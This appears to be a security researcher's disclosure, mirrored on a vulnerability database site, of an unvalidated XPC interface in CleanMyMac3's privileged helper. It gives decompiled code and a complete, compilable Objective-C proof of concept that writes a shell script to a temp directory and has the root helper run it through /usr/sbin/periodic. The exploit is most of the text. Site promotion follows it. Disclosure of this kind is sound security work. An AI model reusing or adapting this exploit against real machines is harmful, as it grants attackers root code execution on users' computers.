`CleanMyMac3 installs a rooted helper *com.macpaw.CleanMyMac3.Agent*, and
its XPC interface does not validate anything. In CMPrivilegedOperationprotocol,
there are actually more than one way to execute privileged code.
The most straight forward one is to use periodic:
void __cdecl -[CMPriviligedOperations
runPeriodicScript:withReply:](CMPriviligedOperations *self, SEL a2, id
a3, id a4)
{
id v4; // rbx
__int64 v5; // r14
__int64 v6; // rdx
__int64 v7; // r12
void *v8; // rax
__int64 v9; // rbx
__int64 v10; // [rsp+8h] [rbp-38h]
v4 = a4;
v5 = objc_retain(a3, a2, a3);
v7 = objc_retain(v4, a2, v6);
v10 = v5;
v8 = objc_msgSend(&OBJC_CLASS___NSArray, "arrayWithObjects:count:",
&v10, 1LL);
v9 = objc_retainAutoreleasedReturnValue(v8);
+[CMTaskRunner launchTaskAndGetTermStatusWithCmd:arguments:](
&OBJC_CLASS___CMTaskRunner,
"launchTaskAndGetTermStatusWithCmd:arguments:",
CFSTR("/usr/sbin/periodic"),
v9);
objc_release(v5);
objc_release(v9);
if ( v7 )
(*(void (__fastcall **)(__int64, signed __int64, _QWORD))(v7 +
16))(v7, 1LL, 0LL);
objc_release(v7);
}
Simply give periodic a directory, it will execute every shell scripts
inside.
Here's a PoC:
// clang messupmymac.mm -framework Foundation -o messup && ./messup
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
@protocol CMPrivilegedOperation <NSObject>
- (void)sizeOfItemAtPath:(NSString *)arg1 reply:(void (^)(long long,
NSError *))arg2;
- (void)removeDiagnosticLogsWithReply:(void (^)(NSString *, long long,
NSString *, NSError *))arg1;
- (void)flushDNSWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeLibraryFromLauchdConf:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeGlobalLoginItemForAppWithPath:(NSString *)arg1
withReply:(void (^)(BOOL, NSError *))arg2;
- (void)startSpotlightReindexWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)runPeriodicScript:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)repairPermissionsWithReply:(void (^)(BOOL, int, NSString *))arg1;
- (void)stopStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)startStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removeSMLoginItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)disableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)enableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)slimBinaryWithPath:(NSString *)arg1 archs:(NSArray *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)removeASLWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeKextAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removePackageWithID:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)truncateFileAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveToTrashItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)securelyRemoveItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeItemAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveItemAtPath:(NSString *)arg1 toPath:(NSString *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)echo:(NSString *)arg1 withReply:(void (^)(NSString *, NSError *))arg2;
- (void)pleaseTerminate;
@end
int main(int argc, const char *argv[]) {
// write payload script
NSError *err;
NSString *identifier = [[NSProcessInfo processInfo] globallyUniqueString];
NSString *tmp = [NSTemporaryDirectory()
stringByAppendingPathComponent:identifier];
NSFileManager *fileManager = [NSFileManager defaultManager];
[fileManager createDirectoryAtPath:tmp
withIntermediateDirectories:YES attributes:nil error:&err];
if (err) {
NSLog(@"failed to create directory %@\nreason: %@", tmp, err);
exit(-1);
}
NSString *executable = [tmp stringByAppendingPathComponent:@"payload.sh"];
NSURL *url = [NSURL fileURLWithPath:executable isDirectory:NO];
[@"id > /hello.txt" writeToURL:url
atomically:NO
encoding:NSStringEncodingConversionAllowLossy
error:&err];
if (err) {
NSLog(@"failed to write to %@\nreason: %@", url, err);
exit(-1);
}
[fileManager setAttributes:@{ NSFilePosixPermissions : @0777 }
ofItemAtPath:executable
error:&err];
if (err) {
NSLog(@"failed to set executable\nreason: %@", err);
exit(-1);
}
// run
NSXPCConnection *connection = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.macpaw.CleanMyMac3.Agent"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(CMPrivilegedOperation)];
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
[connection resume];
[connection.remoteObjectProxy runPeriodicScript:tmp
withReply:^(BOOL status, NSError *err) {
if (err)
NSLog(@"failed: %@", err);
else
NSLog(@"OK");
dispatch_semaphore_signal(semaphore);
}];
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
NSLog(@"done");
return 0;
}
I reported this issue in April, but they havenat release any patch yet.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation